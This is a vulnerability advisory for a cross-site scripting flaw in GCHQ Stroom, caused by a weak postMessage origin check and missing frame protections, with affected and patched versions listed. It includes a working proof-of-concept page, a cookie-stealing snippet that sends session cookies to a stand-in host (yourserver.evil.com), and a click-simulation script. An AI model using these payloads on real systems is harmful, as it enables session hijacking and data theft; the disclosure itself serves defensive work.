GCHQ Stroom is vulnerable to Cross-Site Scripting due to the ability to load the Stroom dashboard on another site and insufficient protection against window event origins.
- Affected versions: < 5.5.12 & < 6.0.25
- Patched versions: 5.5.12 & 6.0.25
Launch Stroom and assign it a hostname like stroom.my-company.com
, then log in.
An attacker can then register their own domain name like stroom.my-company.com.attacker.com
.
If the attacker is able to convince a victim to visit stroom.my-company.com.attacker.com
and they can render the following, they can achieve XSS.
<html>
<head>
<script>
frameLoaded = function() {
window.frames[0].postMessage(
JSON.stringify({data: {
frameId: 0,
callbackId: 0,
functionName: "alert('XSS!');//",
params: [],
}}),
"*"
);
};
</script>
</head>
<body>
<iframe src="https://stroom.my-company.com/stroom/vis.html" height="90%" width="90%" onload="frameLoaded(this)"/>
</body>
</html>
This is due to insufficient protection against window events from other domains. https://github.com/gchq/stroom/blob/9e8b68fd694c87d6ee8d261a844090fbfb11a0db/stroom-app/src/main/resources/ui/vis.js#L322-L324
In this case "stroom.my-company.com.attacker.com".indexOf("stroom.my-company.com") == 0
which allows an attacker to bypass this verification check.
This vulnerability is also possible due to a lack of proper X-Frame-Options headers to prevent the vis.html
document from being rendered on a different domain.
I believe the X-Frame-Options
that you would want would be X-Frame-Options: sameorigin
.
The impact of XSS in this UI would be information disclosure of all sensitive information that stroom holds. Also, depending upon how much control that the various stroom UI components give over the local system (I'm not a user, just a curious researcher) there may be a larger impact from this vector.
This vulnerability was originally reported by LGTM. I just followed up on the investigation out of curiosity. https://lgtm.com/projects/g/gchq/stroom/snapshot/96b8926ae16a7c4dd52abb68250a0f783770f289/files/stroom-app/src/main/resources/ui/vis.js
Since the session ID cookies used for authentication aren't HttpOnly
an XSS attack allows an XSS attack to exfiltrate the contents of those cookies to an attacker allowing that attacker to perform full account takeover in their own browser.
For example, the following code will snag these cookies and send them to an attacker-controlled site:
function stealCookies() {
document.write('<img src="https://yourserver.evil.com/collect.gif?cookie=' + document.cookie + '" />')
}
Additionally, since I have XSS on the site, I have all the permissions of the site.
This payload, for example, would pull up the system properties from the vis.html
document and allow all of them to be exfiltrated. Faking click events is easier than trying to deobfuscate the API exposed by GWT.
If you want to demo what this does, just open up the https://[address]/stroom/vis.html
and paste the code below into your chrome developer console.
It will demonstrate that XXS on vis.html
can open an iframe back to the main /stroom/ui
and gives an attacker full control over that UI by allowing them to simulate fake click requests.
theFrame = document.createElement("iframe")
theFrame.src = "/stroom/ui"
theFrame.width = "90%"
theFrame.height = "90%"
function eventFire(el, etype){
if (el.fireEvent) {
el.fireEvent('on' + etype);
} else {
var evObj = document.createEvent('Events');
evObj.initEvent(etype, true, false);
el.dispatchEvent(evObj);
}
}
function findByText(theText) {
const xpath = `//div[contains(text(),'${theText}')]`;
return theFrame.contentDocument.evaluate(xpath, theFrame.contentDocument, null, XPathResult.FIRST_ORDERED_NODE_TYPE, null).singleNodeValue;
}
function theFrameLoaded() {
window.setTimeout(doTheThing, 2000)
}
function doTheThing() {
const toolsButton = findByText('Tools');
eventFire(toolsButton, 'click');
const properties = findByText('Properties');
eventFire(properties, 'click')
}
theFrame.onload = theFrameLoaded
document.body.appendChild(theFrame)